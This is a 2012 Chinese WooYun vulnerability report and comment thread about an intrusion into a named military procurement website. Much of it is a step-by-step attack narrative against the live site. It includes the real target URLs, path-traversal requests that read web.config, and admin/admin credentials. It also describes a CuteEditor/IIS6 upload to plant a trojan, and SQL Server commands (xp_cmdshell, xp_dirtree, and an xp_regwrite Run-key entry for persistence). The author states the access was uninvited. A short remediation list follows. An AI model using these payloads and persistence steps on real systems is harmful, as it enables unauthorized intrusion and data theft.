当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-010596

漏洞标题：对XXXX.mil.cn军区某采购管理中心的检测

相关厂商：中国人民解放军

漏洞作者： 数据流

提交时间：2012-08-05 18:53

修复时间：2012-09-19 18:54

公开时间：2012-09-19 18:54

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-08-05： 细节已通知厂商并且等待厂商处理中
2012-08-09： 厂商已经确认，细节仅向厂商公开
2012-08-19： 细节向核心白帽子及相关领域专家公开
2012-08-29： 细节向普通白帽子公开
2012-09-08： 细节向实习白帽子公开
2012-09-19： 细节向公众公开

简要描述：

还是无意中打开了这网站 通过某网站的链接 职业病 就随手简单看了下..本次检测无进一步的权限提升 谢绝跨省!!!

详细说明：

http://www.qjmbc.mil.cn/


后台:

http://www.qjmbc.mil.cn/admin/adminlogin.aspx


简单的看了下貌似没什么突破
又是独立服务器
扫了扫开房端口 8080开了
于是..

http://www.qjmbc.mil.cn:8080/



哈 又一个军方网站
存在遍历目录漏洞


(如果不涉及到要看源码 修改本地构造什么的 我还是喜欢IE6入侵网站..觉得很方便很轻盈 哈)
后台:

http://www.qjmbc.mil.cn:8080/admin/ALogin.aspx


弱密码 admin admin


能任意上传文件..可是 找不到路径


http://www.qjmbc.mil.cn:8080/Xiazai.aspx?xzURL=20111111125527aspxspy.aspx


看到这个URL 就想到了任意文件下载漏洞

http://www.qjmbc.mil.cn:8080/Xiazai.aspx?xzURL=../web.config



MSSQL也是弱密码啊 可惜是内网 连接不到.
在后台发表文章 发现是用CuteEditor,于是又多一个任意文件下载漏洞

http://www.qjmbc.mil.cn:8080/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config


CuteEditor上传漏洞 过程简单说说 新建一个XXX.ASP文件夹 然后上传伪图片木马
利用IIS6解析..


以为权限都拿到了 没想到服务器不支持fso


要传个aspx木马才有权限啊
于是找到了那个上传的路径


http://www.qjmbc.mil.cn:8080/images1/



发现我们传的马都是0b 应该是过滤了什么的吧 先放弃传aspx马的思路
用刚才拿下的asp shell连接sa

SELECT IS_SRVROLEMEMBER('sysadmin')



拥有最高权限了
查看数据库就能进入刚才那个后台了 那个后台应该能上传aspx的吧 具体我没试了

EXEC master..xp_cmdshell 'set'


调用xp_cmdshell执行命令返回错误:

-2147467259:[Microsoft][ODBC SQL Server Driver][SQL Server]xpsql.cpp: 错误 5 来自 CreateProcess（第 675 行）


应该是对cmd的权限做了设置..所以执行不了

EXEC master..xp_dirtree 'C:\',1,1



任意盘符浏览
还有一思路 在后台上传一个远控木马或提权exp什么的
加入启动项
mssql语句:

EXEC master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run','F','REG_SZ','xxx.exe'


EXEC master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run','F','REG_SZ','xxx/cmd.exe' /c copy或net 什么的


然后再用MS12020对服务器进行重启 即可获得服务器权限
这一过程我不演示.(怕被跨省了)
检测结束了..

漏洞证明：



修复方案：

1:迅速修改所有后台口令
2:修改MSSQL的sa密码 要复杂
3:清除webshell
4:修过CuteEditor路径
5:对xiazai.aspx进行严格审计 修补漏洞
6:关闭IIS中目录浏览
7:谢绝和谐和跨省

版权声明：转载请注明来源 数据流@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2012-08-09 23:09

厂商回复：

CNVD确认并复现所述过程，暂未建立直接处置渠道，尝试转交其域名注册管理方联系处置。
按完全影响机密性、可用性进行评分，rank=9.28*1.1*1.3=13.156

最新状态：

暂无

漏洞评价：

评论

  1. 2012-08-05 19:25 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    走好

  2. 2012-08-05 19:27 | cnrstar ( 普通白帽子 | Rank:157 漏洞数:23 | Be my personal best!)

    这可不只是跨省了。LZ别莫名其妙消失了。

  3. 2012-08-05 19:28 | Sunshine ( 实习白帽子 | Rank:51 漏洞数:10 | Nothing.)

    这个厂商好霸气！

  4. 2012-08-05 19:31 | Hxai11 ( 普通白帽子 | Rank:1137 漏洞数:218 | 于是我们奋力向前游，逆流而上的小舟，不停...)

    @风萧萧 +1

  5. 2012-08-05 19:42 | 小乖 ( 路人 | Rank:21 漏洞数:6 | 这个家伙很懒，什么也没留下。)

    @风萧萧 +1

  6. 2012-08-05 20:08 | Mr,prince ( 普通白帽子 | Rank:126 漏洞数:12 | 一只小菜鸟。)

    目测楼主会被北京的大水冲走。你懂的

  7. 2012-08-05 20:22 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @风萧萧 我会带上你走的

  8. 2012-08-05 20:23 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @cnrstar 难不成我会被乱枪射死

  9. 2012-08-05 20:39 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    你个SB。你这个是找死。

  10. 2012-08-05 20:40 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

    http://www.jb.mil.cn/ 各种注入啊

  11. 2012-08-05 20:41 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @数据流 @Sogili 你们俩二逼，这个是找死呢。给乌云找麻烦。军工的再怎么样也不能碰。

  12. 2012-08-05 20:47 | Hxai11 ( 普通白帽子 | Rank:1137 漏洞数:218 | 于是我们奋力向前游，逆流而上的小舟，不停...)

    @zeracker 也对啊,尼玛，天朝关个网站就像踩蚂蚁一样轻松

  13. 2012-08-05 20:49 | Valo洛洛 ( 普通白帽子 | Rank:458 漏洞数:52 | 。)

    @zeracker xsser既然把洞通过了，就说明wooyun应付的来。

  14. 2012-08-05 20:58 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @Valo洛洛 @_@

  15. 2012-08-05 21:01 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @Valo洛洛 剑心是没有考虑18 大的问题..CERT压力肯定大。

  16. 2012-08-05 21:04 | Anony ( 实习白帽子 | Rank:38 漏洞数:5 | 乌云白帽子一枚)

    尼玛这是要闹那样！！！要出风头也不带这样的啊！混蛋！特殊时期特殊对待啊亲。

  17. 2012-08-05 21:07 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @Valo洛洛 @Anony @zeracker 对不起啦``我错了...@xsser求删除

  18. 2012-08-05 21:13 | Sunshine ( 实习白帽子 | Rank:51 漏洞数:10 | Nothing.)

    尼玛，军区还要建设什么网站，不知道会完蛋吗！？

  19. 2012-08-05 21:26 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @数据流 @xsser = =不是漏洞问题,是这个网址泄露http://www.jb.mil.cn/ ╮(╯▽╰)╭... @数据流 马赛克好点啊

  20. 2012-08-05 21:41 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @Sogili @_Evil 不是这个站啊 大哥!!!!什么马赛克啊 漏洞都没公布呢

  21. 2012-08-05 21:42 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @zeracker @Anony @Sogili @_Evil 不是www.jb.mil.cn 我搞的是军区采购管理系统...

  22. 2012-08-06 00:23 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    @风萧萧+1000. lz保重

  23. 2012-08-06 00:32 | 顺子 ( 普通白帽子 | Rank:236 漏洞数:36 | 0-0努力像正常青年靠近，再也不当上错图的2...)

    保重楼主：D

  24. 2012-08-06 01:21 | 天行健 ( 路人 | Rank:20 漏洞数:3 | 业余信息安全爱好者，没事了玩一玩)

    楼主出门注意后面，也许有坦克....

  25. 2012-08-06 09:34 | qiaoy ( 普通白帽子 | Rank:110 漏洞数:16 )

    开门！

  26. 2012-08-06 10:11 | koohik ( 普通白帽子 | Rank:542 漏洞数:63 | 没什么介绍的http://www.koohik.com/)

    身后有坦克，头顶有飞机，要注意了，哈哈

  27. 2012-08-06 10:27 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    DZ,自求多福~~

  28. 2012-08-06 10:32 | nicholas ( 路人 | Rank:19 漏洞数:8 | 从事信息安全领域)

    英雄走好

  29. 2012-08-06 10:44 | Mr,prince ( 普通白帽子 | Rank:126 漏洞数:12 | 一只小菜鸟。)

    其实军工的漏洞百出。其实楼主没必要拿出来炫耀。这样只会伤害到你自己的物理安全。

  30. 2012-08-06 11:53 | 猥琐 ( 路人 | Rank:6 漏洞数:2 | 学习什么的最重要！)

    送外卖

  31. 2012-08-06 13:06 | 1024 ( 路人 | Rank:18 漏洞数:4 | 跪求邀请码。。)

    我去。。

  32. 2012-08-06 13:42 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @Mr,prince 擦 你什么意思?你去死吧``

  33. 2012-08-06 15:32 | x7iao ( 普通白帽子 | Rank:348 漏洞数:41 | 文能床上控萝莉，武能床上定人妻)

    开门，查水表。

  34. 2012-08-06 16:03 | suiyuinfo ( 路人 | Rank:6 漏洞数:1 | 一个帮着老婆创业的半个程序员)

    坐等公开，楼上，现在都不用在家查水表了。

  35. 2012-08-06 16:25 | 小蝎 ( 普通白帽子 | Rank:140 漏洞数:21 )

    小心特种部队突然空降在你阳台。

  36. 2012-08-06 17:51 | Mr,prince ( 普通白帽子 | Rank:126 漏洞数:12 | 一只小菜鸟。)

    @数据流 楼主肯定比我先的。呵呵。开开玩笑都开不起吗？

  37. 2012-08-06 18:06 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @Mr,prince 嘻嘻 不是啦..

  38. 2012-08-06 18:06 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @xsser 剑心大哥 怎么把漏洞类型改了..那个只是其中一个啊

  39. 2012-08-08 00:01 | Litteryi ( 路人 | Rank:6 漏洞数:3 | 来自塞伯坦的天使。)

    原来我国军工站是这样构成的啊。怪不得难找。嘎嘎。谢谢楼主。

  40. 2012-08-10 11:19 | exploits ( 实习白帽子 | Rank:69 漏洞数:17 | As We Do，As You Know !)

    这个没危险，数据流兄安心在家睡觉就好了！！！

  41. 2012-08-10 12:24 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

    @exploits 对啊 没危险..

  42. 2012-08-29 01:38 | xyhk5558 ( 路人 | Rank:17 漏洞数:4 | 世界是灰色的！)

    没危险..

  43. 2012-09-09 08:43 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    居然admin admin 碉堡。。

  44. 2012-09-19 19:46 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    楼主你好，楼主再见。

  45. 2012-09-19 20:51 | Master ( 路人 | Rank:29 漏洞数:10 )

    不知道洞主是否健在？

  46. 2012-09-20 11:56 | oneof ( 路人 | Rank:0 漏洞数:1 | 小菜一枚)

    我去，洞主还健在吗？出来吼一下

  47. 2012-09-20 16:29 | Enjoy_Hacking ( 实习白帽子 | Rank:84 漏洞数:8 | 时间无言，如此这般。)

    撸主消失了？？？

  48. 2012-10-06 15:47 | suiyuinfo ( 路人 | Rank:6 漏洞数:1 | 一个帮着老婆创业的半个程序员)

    貌似我知道这个系统是哪家公司开发的。